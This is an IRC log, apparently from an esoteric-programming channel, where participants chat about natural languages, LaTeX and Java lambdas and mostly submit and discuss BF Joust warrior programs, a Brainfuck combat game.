09:03:16 and you can string many of them together 09:03:40 the suffixes aren't really that clustered with consonants, though 09:03:41 you've got basically 5 tenses, 12 declensions, 2 pages, 6 conjugations and some other things 09:03:49 iirc 09:03:57 and regional variants 09:04:26 i've heard that Polish is second hardest language, after Finnish 09:04:43 does that mean every word comes in 920 forms? 09:04:44 hardest to use or hardest to learn? 09:04:49 but i know Polish so idk 09:04:58 olsner: probably not every 09:05:14 declensions apply to verbs 09:05:20 conjugations apply to nouns 09:05:21 how can finnish be hard, it's agglutinating 09:05:44 ah, ok, not as bad as I thought then :P 09:05:55 it's fucked up 09:05:59 hardest in europe, _maybe_, but i'm sure there are far worse elsewhere 09:06:02 nooga_: Navajo is generally considered to be one of the hardest languages in existence 09:06:12 i've tried to learn rusiian 09:06:16 russian* 09:06:24 the US military used to use unencrypted Navajo as a secret code 09:06:28 they say it's A BIT simmilar 09:06:31 they had to hire native speakers to translate... 09:06:45 but russian declensions ate me 09:06:51 and this stupid srcipt 09:06:55 script* 09:07:18 How does LaTex work? 09:07:25 like LISP 09:07:29 ;D 09:07:36 It won't accept any extra space or newlines 09:07:43 with shitloads ofg macros 09:07:52 of* 09:07:53 damn 09:07:54 What are the macros for that shit? 09:07:57 lereah_: there are lots of spacing commands 09:08:01 ~~ 09:08:02 I know it's supposed to format automatically 09:08:10 But what are the basic commands for that 09:08:15 ~ 09:08:36 Lessee 09:08:54 * nooga_ amphetamine :C 09:09:13 Hm. 09:09:18 It doesn't do shit 09:09:32 idk ;p 09:09:41 lereah_: \hspace{...} and \vspace{...} at least 09:09:58 thx 09:10:03 but the contents are special length units 09:10:08 em and such 09:10:12 my read beard is awful 09:10:21 red* 09:10:25 FFFFFFUUUUU 09:10:30 Reading beards. 09:10:36 i think i should sleep 09:11:39 my grey matter is black atm 09:12:16 hmm... wouldn't that mean you were particularly brainy 09:12:28 in the brain, the grey matter does the thinking, and the white matter sends messages long-distance 09:14:19 i'm retarded all the time 09:14:29 my IQ went from 137 to 50 09:14:40 and i don't know why 09:14:40 ais523: no it would mean he were scatterbrained as the parts couldn't communicate ;D 09:14:53 i forgot basic words in englis, as well as in Polish 09:15:10 really, really annoying 09:15:39 englis iss so had 09:16:13 yesss i cannot spik 09:16:43 my mac keyboard does not help though 09:24:08 "Lambdas are relegated to relative obscurity until Java makes them popular by not having them." 09:24:38 heh 09:25:03 if you've ever tried to program in Java, you'll know how badly it needs lambda 09:25:11 *by having them 09:25:11 ? 09:25:31 Java doesn't have lambdas 09:25:37 at least, didn't when I last looked 09:25:42 I mean 09:25:50 lambdas are obscure right 09:25:56 and java doesn't have them 09:25:56 you have to create anonymous classes to have the function you want as a method, which is ridiculous 09:25:58 if that statement was correct lambdas wouldn't be obscure 09:26:01 and lambdas aren't really obscure nowadays 09:26:04 o 09:26:14 they're all over the place, even in some of Microsoft's langs 09:26:17 even Python has them 09:28:45 OBSCURE?! 09:28:48 gimme a break 09:29:19 lambdas are the coolest thing that exists in modern mixed paradigm langs 09:29:23 Patashu: if you consider yourself a programmer and don't regularly come across lambdas, learn a new language 09:29:39 oops 09:29:42 guess I shouldn't have learned java then 09:29:45 although you might end up not repeatedly using them (say if you write in C, probably using a lambda is too high-level), it's common to drown in them 09:30:07 Patashu: in Java, where do you put your callback functions for Swing/AWT/ 09:30:14 s/\/$/?/ 09:30:16 -!- oerjan has quit ("leaving"). 09:31:17 that's one of the situations in Java where a lambda would be really useful 09:31:27 what would it do? 09:31:43 Jaca does not have closures? 09:31:47 Java* 09:31:50 FFFFFFFFFFUUUUUUUUUUUU 09:31:55 it would let you specify the functions at the same time that you told the API what they were 09:32:08 as opposed to having to find a random instance to attach the functions to 09:32:15 you have to put them somewhere, and there's no really good place 09:32:59 Java has lexical closures via anonymous classes 09:33:01 sorta. 09:33:07 yes 09:33:13 that's a really complex workaround, though 09:33:17 for what /should/ be a simple operation 09:33:23 right. the canonical workaround 09:33:32 the proposed closures take inspiration from that form, though 09:33:52 ah, glad to hear that they're planning to add them 09:34:02 let's hope they don't mess them up as badly as they messed up templates 09:34:09 well. I'm not sure they'll be added. But there definitely is a proposal, and Gosling's looked at it 09:34:31 the template issue is mostly because they wanted backwards bytecode compatibility 09:34:54 ah, ok 09:35:10 couldn't they have automatically added casts everywhere the object was used, in the bytecode? 09:36:10 casts? Well, you could have heterogenous collections in the older version 09:36:30 it'd have to make all casts be to Object. 09:36:34 yes, but you had to cast them in order to get them to work 09:36:37 which is rather pointless. 09:36:51 I mean, type bleaching does nothing if you have a collection of Object anyway 09:37:06 so suppose you have a new collection of Dog, or something 09:37:21 you can cause the bytecode to, instead of returning a Dog, return an Object then cast it to Dog 09:37:22 well, you had to cast them to make them work, but that's usage, not internals... 09:37:31 so that the new code uses Dogs, but the old bytecode uses Objects 09:37:37 dunno. it was their solution. 09:37:39 so you have bytecode compatibility + sanity 09:39:27 don't argue with the Java gods, now! 09:39:44 but they were bought out by Oracle! 09:39:47 it's like tron, except it's the JVM 09:40:23 they will find you 09:40:41 and they will send out their video game-like security to make you pay! :o 09:41:08 what, video games use physical security nowadays? 09:41:53 I mean, it's tron. just go with it. >_> 09:43:22 hmm... jump2 is now way down the rankings 09:43:28 OWN 09:43:29 have people been taking steps specifically against it, I wonder? 09:43:44 ais523: leonid_ has been fucking with the RNG 09:43:54 that's all the activity i've noticed on and off 09:43:57 myndzi: that's only one program, though 09:44:01 i keep tweaking my programs back and forth just to mess with him 09:44:01 :> 09:44:09 you guys still going in secret? 09:44:25 once every hour maybe for me, i'm just keeping an eye out 09:44:30 it's all logged by egobot anyway 09:44:38 ya 09:44:59 i didn't do anything against jump that i didn't do when you put it on in the first place 09:45:07 ok 09:45:20 and it's not as if it affects most of your best programs 09:45:28 the rankings seem to change quite a bit with just the 2 or 3 move around 09:45:30 moving* 09:45:55 but it looks like Patashu's contributions and whatever the hell else has gone on in the past few hours seem to have cut into my lead :( 09:46:11 yep, rushpolarity is way up 09:46:27 I wonder if I could get away with using three tripwires in defend9 to beat that sort of thing? 09:46:29 and the other one is sometimes too 09:46:51 what sort of thing? 09:47:00 he made defense9 09:47:02 it doesn't appear to do anything particularly tricky 09:47:04 to try and figure out the opponent's loop 09:47:05 myndzi: changing strategy from step to step 09:47:08 but it doesn't work if it alternates loops 09:47:10 like rushpolarity 09:47:10 which confuses defence9 09:47:11 oh 09:47:15 right 09:47:16 *defend9 09:47:21 I'm rather proud of defend9 09:47:26 and have thought of some improvements to it 09:47:28 yeah, it's pretty impressive 09:47:29 but what if I used three different loops 09:47:31 which I'll have to try sometime 09:47:38 i'm not sure there's anything you can do against a changing attack though 09:47:55 yep, but changing attacks are possibly weaker anyway 09:48:07 as you're using three strategies, one of them has to be suboptimal 09:48:08 Patashu: just curious, did you pick that up from keke2 earlier or just arrive at the same conclusion? 09:48:23 ais523: perhaps, but it may not need all that much effort 09:48:26 pick what up from what? 09:48:29 and many of them will succeed regardless 09:48:41 rushpolarity was my original idea, I didn't look at any other programs that alternated 09:48:44 if that's what you mean 09:48:46 no, i guess not 09:48:54 it's not the same thing when i look at it 09:48:58 you still have loops 09:49:16 i was trying to (originally) do some sort of attack that kept changing timing 09:49:21 turned out most if it didn't matter 09:49:42 but the swap from + to - throws off his timing stuff i bet 09:50:20 ais523: you could potentially, at least to detect specifically Patashu's reversal thing, use numbers that count the same both ways .. if you know how to read them 09:51:05 anyway, it's well past my bedtime 09:51:31 i hope i still have anything on the hill tomorrow when i wake up ;P 09:51:34 I specifically didn't use numbers that count the same both ways 09:51:42 i know you didn't 09:51:44 otherwise, how would I know which polarity to counteract with? 09:51:57 more interesting would be counteractions which worked the same both ways 09:52:07 so how defense works is 09:52:08 defend6 had one of them for two-cycle loops 09:52:11 i was probably just confusing myself 09:52:14 you keep using + or - to push them over every 0 on your flag 09:52:20 I wonder if that would be possible for other quantities 09:52:21 and use the intermittent time to run forward and attack each spot in turn 09:52:25 Patashu: not quite 09:52:30 until every possible flag has been taken down 09:52:35 I use a long string of + or - to prevent the value ever going near 0 09:52:43 I can change faster than the opponent can 09:52:44 you also have to win 09:52:50 as I'm doing (+)*128, they're in a loop 09:52:53 oh, because it's all unrolled 09:52:55 yea 09:52:56 unless the opponent isn't looping 09:52:57 well, (+)*96 09:53:04 they don't know they're on your flag, but you do 09:53:09 myndzi: defend9 doesn't deal with nonlooping opponents 09:53:12 Patashu: that's it 09:53:17 i'm gonna run at you with a -.-..-... loop 09:53:17 ;) 09:53:25 (wait, that wouldn't work... :P) 09:53:36 and I use the inbetween time to run over to all possible flags and sink them a bit at a time 09:53:38 myndzi: correct 09:53:43 better: (-.)*256>(-..)*256 09:53:46 * myndzi grins 09:54:06 myndzi: then I'll just beat you with speedy1 09:54:25 (-) (--.)(---.) 09:54:27 * myndzi shrugs 09:54:40 i'm just thinking it'd be more fun to tweak your timing than do something else 09:54:55 defend9 is definitely beatable, ofc 09:55:05 I'm just wondering if taking steps just to beat it would hold you back against other programs 09:55:08 my favorite thing about defend6 was that it suicided 09:55:21 probably 09:55:37 unless defend9 starts beating everything it won't gain you that many points to beat it 09:56:06 and if it's beating everything, it may become worth it (and also more feasible) 09:56:08 defend6 does, indeed, suicide 09:56:11 under certain circumstances 09:56:18 like, if you don't touch the flag 09:56:19 :) 09:56:22 defend9 can too, but it's a lot harder to persuade it to 09:56:33 !bfjoust juggernaut +(>(-)*128.(-.)*512>(+)*128.(++.)*512)*15 09:56:37 Score for Patashu_juggernaut: 31.9 09:56:38 however, hitting a decoy and two tripwires, but not the flag, would take quite some doing 09:56:39 not sure what to do with this one 09:56:39 atm 09:56:50 not really 09:56:56 just a slow moving program 09:57:00 that's how i did it the first time 09:57:04 myndzi: trouble is, that wouldn't beat anything else 09:57:16 creep did pretty well 09:57:21 oh wait 09:57:23 even after i slowed it down to handle the inverse 09:57:32 it didn't get top scores but it stuck around a while 09:57:38 i consider that one mark of usefulness at least 09:57:41 that beats defend 6,7,9, jump2, speed1 and ugh 09:57:41 lol 09:57:49 uuuugh 09:57:59 ugh is just another pointless wtfscript 09:58:06 Patashu: htf does that beat speedy1? 09:58:08 wtfscript? 09:58:09 he advances to the right 30 times then goes back to the left(??) 09:58:16 oops, sorry... 09:58:18 and loops this process 09:58:19 misread, it doesn't beat speedy1 09:58:31 it beats waiter, defend6-7-9, jump2 and ugh 09:58:35 God I hate LaTeX so much 09:58:39 The tutorial sounds so smug 09:58:48 I just want to punch my screen. 09:58:48 oh scuse me 09:58:50 he just wrote it wrong 09:58:51 jump2 seems likely to fall off soon 09:58:57 it goes to the 30th position then tries to go back to the start 09:59:00 but then it only goes right 15 09:59:12 of course, it will only ever hit the 'go back to the left' stage 1/20th of the time 09:59:15 going to the 30th position is dubious anyway 09:59:21 if you get there, why not just sink the flag? 09:59:27 pretty much 09:59:29 leonid has no idea what the fuck is going on that's why 09:59:29 after all, you know it's there 09:59:30 :D 09:59:37 he's just putting random shit in until he gets good random numbers that give him a good score 10:00:05 well, I confess that I was seedtampering with defend9 to stop it getting random very short tapes 10:00:13 but only against programs that lose to it on nearly every tape length 10:00:23 but beat it on exceptionally short ones 10:00:30 heh, i did that unknowingly earlier too 10:00:40 most variants would win and all of a sudden a tie.. wat? 10:00:45 gotta fix that, try to change the timing a little 10:00:49 haha 10:00:50 didn't know it wasn't timing that was doing it 10:01:09 now i was just doing it to drop leonid_ back down the hill :P 10:01:37 you know though 10:01:44 there's gotta be a better solution 10:01:48 i just don't know what 10:01:53 I could probably improve defend9 by putting some counterdefence in 10:02:01 myndzi: ehird's try-all-lengths interp might be it 10:02:09 i was thinking that may not be so hot 10:02:15 i was about to comment on it but i couldn't phrase it well 10:02:47 it's desirable in that it takes random chance out of the game and makes set-length attackers useless 10:03:15 eh, nevermind 10:03:17 but? 10:03:21 i worked out what i was thinking about and it's probably not a big deal 10:03:22 :) 10:03:25 ah 10:03:26 it also makes overaiming more interesting 10:03:35 it's a strategy discovered in the original BF Joust 10:03:42 where you assume that the tape length is, say, at least 15 10:03:46 yeah 10:03:50 i did that early on 10:03:56 "playing the odds" was on for a while, did pretty decent 10:03:56 it gives you an instant loss in 1/4 of games, but an advantage in the other 3/4 10:04:25 it'd do better with rng manipulation ;) 10:04:39 the other thing about this hill is 10:04:45 beating useless warriors doesn't gain you anything 10:04:58 if you beat someone with 0 points, you get none 10:05:02 agreed 10:05:08 a counter for a specific warrrior type will only last if that warrior type is itself dominating 10:05:26 i think you ought to get a little more credit than that, meh 10:05:33 that leads back to fixed scores, which i think i'd prefer 10:05:43 but at least gregor dropped the points received from ties earlier 10:05:49 that seems to have worked out 10:11:28 !bfjoust another_kind_of_timing (>[)*15(+[[-]>+]+[[-]>+]])*15+[[-]>+]+[[-]>+] 10:11:32 Score for ais523_another_kind_of_timing: 11.7 10:12:04 beats juggernaut and shade 10:12:09 yep 10:12:26 heh, it's probably going too /fast/ 10:12:30 and I messed up the code anyway 10:12:47 !bfjoust another_kind_of_timing (>[)*15 [[+[-]>+]+[[-]>+]] 10:12:50 Score for ais523_another_kind_of_timing: 18.9 10:12:52 whoops 10:12:55 I pressed return by mistake 10:13:05 and that should be a syntax error, I don't know why it scored points 10:13:16 beats jump2 ugh shade 10:15:24 !bfjoust another_kind_of_timing >>>>>[>>>>>[[+[-]>+]+[[-]>+]]>[>>>>>>[[+[-]>+]+[[-]>+]]>[>>>>>>>[[+[-]>+]+[[-]>+]]>[>>>>>>>>[[+[-]>+]+[[-]>+]]>[>>>>>>>>>[[+[-]>+]+[[-]>+]]>[[>>>>>>>>>>[[+[-]>+]+[[-]>+]]>[>>>>>>>>>>>[[+[-]>+]+[[-]>+]]>[>>>>>>>>>>>>[[+[-]>+]+[[-]>+]]>[>>>>>>>>>>>>>[[+[-]>+]+[[-]>+]]>[>>>>>>>>>>>>>>[[+[-]>+]+[[-]>+]][[+[-]>+]+[[-]>+] 10:15:27 Score for ais523_another_kind_of_timing: 13.2 10:15:30 lol 10:15:32 O_O 10:15:57 I don't get why that's drawing against the defenders 10:16:00 it should suicide against them 10:16:05 beats jump2 and shade. ties defends 679 and jump2 10:16:08 oh, duh 10:16:14 !bfjoust another_kind_of_timing >>>>>[>>>>>[[+[-]>+]+[[-]>+]]>[>>>>>>[[+[-]>+]+[[-]>+]]>[>>>>>>>[[+[-]>+]+[[-]>+]]>[>>>>>>>>[[+[-]>+]+[[-]>+]]>[>>>>>>>>>[[+[-]>+]+[[-]>+]]>[[>>>>>>>>>>[[+[-]>+]+[[-]>+]]>[>>>>>>>>>>>[[+[-]>+]+[[-]>+]]>[>>>>>>>>>>>>[[+[-]>+]+[[-]>+]]>[>>>>>>>>>>>>>[[+[-]>+]+[[-]>+]]>[>>>>>>>>>>>>>>[[+[-]>+]+[[-]>+]]+[[+[-]>+]+[[-]>+] 10:16:17 Score for ais523_another_kind_of_timing: 13.2 10:16:24 no change 10:16:28 ye[ 10:16:32 I wonder what I've messed up this time? 10:16:35 *yep 10:17:17 !bfjoust another_kind_of_timing >>>>>[>>>>>[[+[-]>+]+[[-]>+]]>[>>>>>>[[+[-]>+]+[[-]>+]]>[>>>>>>>[[+[-]>+]+[[-]>+]]>[>>>>>>>>[[+[-]>+]+[[-]>+]]>[>>>>>>>>>[[+[-]>+]+[[-]>+]]>[[>>>>>>>>>>[[+[-]>+]+[[-]>+]]>[>>>>>>>>>>>[[+[-]>+]+[[-]>+]]>[>>>>>>>>>>>>[[+[-]>+]+[[-]>+]]>[>>>>>>>>>>>>>[[+[-]>+]+[[-]>+]]>[>>>>>>>>>>>>>>[[+[-]>+]+[[-]>+]]+[[+[-]>+]+[[-]>+]] 10:17:21 Score for ais523_another_kind_of_timing: 21.3 10:17:27 missing square bracket at the end 10:17:46 !bfjoust brackettest [ 10:17:48 Beats ugh, keke2, shade 10:17:49 Score for ais523_brackettest: 9.7 10:18:07 That one beats jump2 :-P 10:18:20 yep, jump2 suicides against an opponent that doesn't set up decoys 10:18:36 haha 10:18:39 interesting 10:18:48 Ah, it jumps over the first X nonzero cells 10:19:01 !bfjoust another_kind_of_timing >.>.>.>.>.[>>>>>[[+[-]>+]+[[-]>+]]>.[>>>>>>[[+[-]>+]+[[-]>+]]>.[>>>>>>>[[+[-]>+]+[[-]>+]]>.[>>>>>>>>[[+[-]>+]+[[-]>+]]>.[>>>>>>>>>[[+[-]>+]+[[-]>+]]>.[[>>>>>>>>>>[[+[-]>+]+[[-]>+]]>[>>>>>>>>>>>[[+[-]>+]+[[-]>+]]>[>>>>>>>>>>>>[[+[-]>+]+[[-]>+]]>[>>>>>>>>>>>>>[[+[-]>+]+[[-]>+]]>[>>>>>>>>>>>>>>[[+[-]>+]+[[-]>+]]+[[+[-]>+]+[[-]>+]] 10:19:04 Score for ais523_another_kind_of_timing: 25.7 10:19:23 wow, it's now almost on the bottom of the leaderboard 10:19:35 Beats jump2, ugh, 3pass, shade 10:19:37 beats jump2, ugh, pass3, shade 10:19:40 god everything beats shade :P 10:20:47 !bfjoust another_kind_of_timing >.>.>.>.>.[(>)*5[[+[-]>+]+[[-]>+]]>.[(>)*6[[+[-]>+]+[[-]>+]]>.[(>)*7[[+[-]>+]+[[-]>+]]>.[(>)*8[[+[-]>+]+[[-]>+]]>.[(>)*9[[+[-]>+]+[[-]>+]]>.[[(>)*10[[+[-]>+]+[[-]>+]]>.[(>)*11[[+[-]>+]+[[-]>+]]>.[(>)*12[[+[-]>+]+[[-]>+]]>.[(>)*13[[+[-]>+]+[[-]>+]]>.[(>)*14[[+[-]>+]+[[-]>+]]+[[+[-]>+]+[[-]>+]] 10:20:50 Score for ais523_another_kind_of_timing: 10.8 10:20:59 Beats shade 10:21:00 :-P 10:21:03 heh, I wonder why it dropped so much? 10:21:15 shade seems to only beat important ones :P 10:21:16 Ties against the defends and jump2 10:21:40 !bfjoust another_kind_of_timing >+++>--->+++>--->+++[(>)*5[[+[-]>+]+[[-]>+]]>[(>)*6[[+[-]>+]+[[-]>+]]>[(>)*7[[+[-]>+]+[[-]>+]]>[(>)*8[[+[-]>+]+[[-]>+]]>[(>)*9[[+[-]>+]+[[-]>+]]>[[(>)*10[[+[-]>+]+[[-]>+]]>[(>)*11[[+[-]>+]+[[-]>+]]>[(>)*12[[+[-]>+]+[[-]>+]]>[(>)*13[[+[-]>+]+[[-]>+]]>[(>)*14[[+[-]>+]+[[-]>+]]+[[+[-]>+]+[[-]>+]] 10:21:43 Score for ais523_another_kind_of_timing: 5.2 10:21:52 Now it doesn't even beat shade 10:21:52 I just don't get why it's tying against the defends 10:22:02 Ties the defends and waiter 10:22:07 it should be losing 10:22:12 anyway, I'll abandon that line of reasoning 10:22:57 * ais523 vaguely wonders if the average program is slow enough that I could set up a whole second dummy flag in defend9, so I wouldn't have to risk the real one 10:23:18 -!- olsner has quit ("Leaving"). 10:23:33 -!- amca has joined. 10:24:09 shade beating slowrush is probably why it's doing so well 10:24:10 hi amca 10:26:43 -!- ais523 has quit ("mibbit.com: going to get breakfast"). 10:30:20 Yeah, slowrush is a good one to beat. 10:30:26 Aaaaand you're gone :P 10:30:38 ais523: Hi 10:30:47 oops 10:36:25 !bfjoust try [[+-]+] 10:36:29 Score for jix__try: 24.1 10:36:35 -!- jix_ has changed nick to jix. 10:37:08 that wouldn't work very well 10:37:08 !bfjoust try [[(+-)*5]+] 10:37:11 Score for jix_try: 17.6 10:37:15 once it realizes it's 0 ( on a ]) it's already too late 10:37:21 ah 10:37:24 right 10:37:53 just read about bfjoust... 10:38:26 it goes like this: ]s take value, both programs execute a command 10:38:41 if either flag is at 0 and was 0 for the end of the previous round as well declare a winner 10:38:58 i know 10:39:02 k 10:39:39 so basically i can never test whether my flag is zero.... 10:40:58 no 10:41:00 but 10:41:04 you can test whether ANY other cell is zero :) 10:42:47 !bfjoust try [->[-]+] 10:42:51 Score for jix_try: 26.5 10:43:17 oh, jix 10:43:21 !bfjoust try [>[-]+] 10:43:22 long time no see 10:43:24 Score for jix_try: 19.6 10:44:32 indeed 10:45:34 in a loop is a cycle taken for [ and ] of the loop during iterations? 10:45:47 for ] yes 10:45:49 ah no isn't 10:45:50 for [ I think so 10:45:56 the spec sais isn't 10:46:06 ] jump to just after the matching [ 10:46:17 hang on a sec 10:46:28 Yes, but the ] itself takes one cycle 10:46:41 Deewiant: but that wasn't what i intended to ask ^^ 10:46:51 Just checking :-) 10:47:04 [-] is executed like -]-]-]-]... 10:47:09 because ] is its own turn 10:47:10 So if you have [-] then the execution is not [-][-][-], it's [-]-]-] 10:47:18 yeah 10:48:40 !bfjoust try < 10:48:43 Score for jix_try: 0.0 10:48:48 haha 10:48:55 if you die it's a win for your opponent 10:48:59 but if you nop forever it's not 10:49:04 watch out for that distinction 10:49:18 !bfjoust thisbeatssuiciding . 10:49:22 Score for Patashu_thisbeatssuiciding: 13.2 10:49:29 this also beats programs that expect to see decoys or w/e 10:49:50 so either jump2 or shade 10:50:12 it's not a big deal though because scoring is weighed; if you beat a program that has a high score YOU get a higher score 10:50:26 so they don't lose much for not beating my terrible program that loses almost every fight 10:52:25 !bfjoust try [>(+)*10[-](-)*20] 10:52:28 Score for jix_try: 34.7 10:53:19 that beats maglev, juggernaut, lolscounter, jump2, spyglass, ugh and slowrush 10:53:41 you know where to find the other programs to look at them? 10:53:47 nope 10:53:54 http://codu.org/eso/bfjoust/in_egobot/ 10:54:39 defend9 and shade were algorithmically generated, hence the size 10:55:01 genetic algorithm? 10:55:05 defend6 and defend7 have been around for -ages- 10:55:23 no. he made an algorithm that codes higher level computations in just brainfuck 10:55:31 ah 10:55:36 which is a lot faster than handwriting it as you can imagine 10:55:41 because that would be worth a try too 10:55:44 no one's used genetic algorithms for bfjoust yet 10:55:53 well then it's time for that i guess ^^ 10:56:28 nah i should continue my linker instead of doing esoteric stuff right now... 10:56:41 ... but otoh this is a really nice challenge 10:57:12 haha 10:57:19 actually 10:57:22 you should work on your linker now 10:57:33 because there's a flaw in the way it compares programs atm 10:57:43 huh? 10:57:44 it only runs one match, which uses a tape length seeded by the concatenation of the two algorithms 10:58:01 this is flawed 10:58:03 so it's vulnerable to insignificant changes 10:58:03 indeed 10:58:04 -!- nooga_ has quit (Read error: 60 (Operation timed out)). 10:58:13 As a bonus it uses the unexpanded source 10:58:14 it's going to get fixed in one or two days when it runs all possible combinations 10:58:18 then you can give it a go 10:58:22 So it sees -- and (-)*2 as different 10:58:35 and - (-)*1 10:58:36 only for the purposes of hashing the original tape length for each match yeah 10:58:40 it's not too bad right now 10:58:45 Yes, and -this is a comment- etc. 10:58:48 but for genetic algorithms it would produce flawed results 10:59:23 Patashu: not if i adjust the interpreter i use for ranking to that 11:00:16 oh yeah 11:00:20 and just run it on your own for a while? 11:00:51 well for genetic algorithms i'd have to evaluate a few thousand programs / sec 11:01:38 21 tape lengths: maybe randomly evaluate one length out of the first five, one out of the next six, one out of the next five, one out of the next five 11:01:47 gives a reasonable approximation 11:02:00 i don't thin so.. 11:02:11 because i think for some programs even/odd length is more important 11:02:18 oh that's true 11:02:19 so i could just evaluate only one by random 11:02:24 force two even force two odd? 11:02:38 Patashu: for some the length mod 3 might be important ;) 11:02:58 i'd just rank them by one.... because in the next iteration they will be ranked by a different length 11:03:12 and only the good ones will survive for a long time 11:03:18 alright 11:03:27 also 11:03:40 randomly flipping or not flipping the second program's polarity 11:03:43 (all + to -, all - to +) 11:03:44 might be good 11:03:57 to prevent trivial counters that are just the original program but using the polarity it handles worse 11:04:07 though I don't know how easy a genetic algorithm will derive those 11:04:22 if it can't do something like that in one step it's probably fine 11:04:38 yeah that's always the most tricky part ... 11:04:44 getting the mutations / crossovers right for the problem 11:05:28 you might want to seed it with, say, programs currently on the hill? 11:05:34 because the goal in bfjoust is reasonably specific 11:05:49 Patashu: i wouldn't seed it with that 11:05:57 but would rank all programs against them 11:06:03 aah 11:06:10 I see 11:06:25 so they get ranked against the #estoric hill and my own GA hill 11:06:33 interesting 11:07:21 what do you seed it with then? 11:07:56 well when i do GAs i also add random genomes to the population with each step 11:08:02 so i'd have to create an algorithm to do random programs anyway 11:08:36 does the hill use the perl implementation? 11:08:43 forget 11:09:31 ehird was working on an interpreter. meant to be fast as nails 11:09:36 well nails aren't very fast 11:10:11 I assume every addition of a [ will also force a ] to be inserted? 11:10:30 i think i'll keep loops in a tree structure 11:10:35 hmm 11:10:35 yeah 11:10:37 so it'll never move a ] 11:10:47 because that will most probably result in a totally different program 11:10:54 that would 11:10:59 while moving a [...] might just be a slight modification 11:11:52 well will code a bit on the linker now and come back to this later 11:19:33 -!- GreaseMonkey has quit ("YES -> thor-ainor.it <- THIS IS *DELICIOUS*!"). 11:21:50 -!- ais523 has joined. 11:34:57 -!- Sgeo_ has quit (Read error: 60 (Operation timed out)). 11:37:08 !bfjoust try2 [>[>[-]<-]+] 11:37:12 Score for jix_try2: 12.3 11:40:23 !bfjoust try2 [>[-]-[-]-] 11:40:27 Score for jix_try2: 24.1 11:41:33 !bfjoust try2 [>[---]-[-----](-)*100] 11:41:36 Score for jix_try2: 25.4 11:41:43 !bfjoust try2 [>[---]-[-----](-)*10] 11:41:47 Score for jix_try2: 30.4 11:45:41 jump's been pushed off, I see 11:45:52 and defend6 and defend7 are gradually moving down the leaderboard 11:46:52 !bfjoust idle ([]+)*1000 11:46:56 Score for jix_idle: 11.4 11:47:06 that wouldn't work very well 11:47:07 because 11:47:18 -- 11:47:21 you take the cell value from the start of the round 11:47:23 -!- Corun has joined. 11:47:24 and turns are synchronous 11:47:28 so if a turn ends on 0 11:47:35 ] sees a 0 and says 'ah, time for the next instruction' 11:47:41 but before it can execute that instruction the game is over 11:47:50 [] on your flag is pointless 11:47:54 [] on a cell in front of it however... :) 11:47:58 tripwire 11:48:02 yeah i've seen that 11:48:13 try2 assumes there is a [] on the cell next to it 11:48:48 and kills defend* and waiter 11:49:14 but for a lot of others it probably just moves past the end 11:50:05 * leonid_ wakes up 11:50:22 !bfjoust idiot (-)*384000 11:50:26 Score for jix_idiot: 24.2 11:50:27 uh oh 11:50:33 btw 11:50:38 max cycle count is current 100k 11:50:41 not 384k 11:50:49 oh 11:51:15 haha that one wins only against my other 2... and against shade... 11:51:26 so i just manged to lower the score of my other 2 programs 11:51:28 bfjoust idiot (-)*99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 11:51:37 don't worry didn't run it 11:51:48 leonid_: but it can only run for 100000 cycles anyway 11:51:51 so all those 9s are redundant 11:51:55 yeah 11:54:00 !bfjoust waitntry >(-)*128>(+)*128>(-)*128>(+)*128[][>(+)*10[-](-)*20] 11:54:03 Score for jix_waitntry: 19.1 11:55:43 !bfjoust waitntry >>(-)*32>>>(+)*32>>+[]+[>(+)*10[-](-)*20] 11:55:47 Score for jix_waitntry: 17.1 11:57:56 !bfjoust waitntry >(-)*32>(+)*32>(-)*32>(+)*32[]++[>(+)*10[-](-)*20] 11:58:00 Score for jix_waitntry: 24.3 11:58:15 !bfjoust waitntry >(-)*16>(+)*16>(-)*16>(+)*16[]++[>(+)*10[-](-)*20] 11:58:19 Score for jix_waitntry: 19.6 11:59:50 !bfjoust idiot2 (-)*128(+-)*100000 11:59:54 Score for jix_idiot2: 8.5 12:02:22 !bfjoust keep >>(+[[]+])*30 12:02:26 Score for jix_keep: 14.5 12:03:05 oh snap 12:03:21 you guys were talking badthing about me 12:03:22 :( 12:03:26 !bfjoust keep >>(+[])*300 12:03:27 bad things* 12:03:30 Score for jix_keep: 5.2 12:03:50 !bfjoust keep >>(+[])*100000 12:03:51 :( :( :( 12:03:54 Score for jix_keep: 15.0 12:04:36 jix 12:04:37 oh 12:04:39 by the time you exit the [] loop 12:04:40 i'm still at rank 6 12:04:41 haha 12:04:42 they'll have skipped past 12:04:50 ugh 12:04:53 !bfjoust ugh ((>(+)*19>(-)*19)*7(>[-[+]])*15(<)*29)*37 12:04:54 Patashu: yeah i know 12:04:56 Score for leonid__ugh: 56.2 12:04:59 dam people heate me 12:05:02 hate* 12:05:06 leonid_: huh? 12:05:10 nothing 12:05:44 !bfjoust keep >>>>>>>>(+[]<<)*100000 12:05:45 !bfjoust ugh ((>(+)*19>(-)*19)*2(>[-[+]])*6(<)*9)*37 12:05:49 Score for jix_keep: 5.1 12:05:49 Score for leonid__ugh: 21.2 12:06:01 that's the reason why i keep putting random shit 12:06:26 why would you make code that goes backwards more than it goes forwards? 12:06:40 read the code again 12:06:41 Patashu: i'm just experimenting 12:06:46 oh nvm 12:06:50 this is trivial optimization though 12:06:52 ;) 12:07:00 and would give a more accurate depiction of how your code's doing 12:07:26 !bfjoust ugh ((>(+)*32>(-)*32)*3(>[-[+]])*4(<)*9)*20 12:07:30 Score for leonid__ugh: 34.8 12:07:31 x( 12:08:03 !bfjoust ugh ((>(+)*32>(-)*32)*2>>(>[-[+]])*4(<)*9)*20 12:08:07 Score for leonid__ugh: 26.7 12:08:17 !bfjoust ugh ((>(+)*32>(-)*32)*4>>(>[-[+]])*2(<)*9)*20 12:08:19 Score for leonid__ugh: 23.1 12:08:27 !bfjoust ugh ((>(+)*32>(-)*32)*4>>(>[-[+]])*5(<)*12)*20 12:08:30 Score for leonid__ugh: 29.8 12:08:37 durrrrr i'm dumbbbb 12:08:53 !bfjoust ugh ((>(+)*19>(-)*19)*4>>(>[-[+]])*5(<)*12)*20 12:08:56 Score for leonid__ugh: 54.7 12:09:06 !bfjoust ugh ((>(+)*19>(-)*19)*4>>(>[-[+]])*5(<)*12)*18 12:09:10 Score for leonid__ugh: 55.0 12:09:12 !bfjoust ugh ((>(+)*19>(-)*19)*4>>(>[-[+]])*5(<)*12)*17 12:09:16 Score for leonid__ugh: 48.4 12:09:20 xp 12:09:45 !bfjoust fib 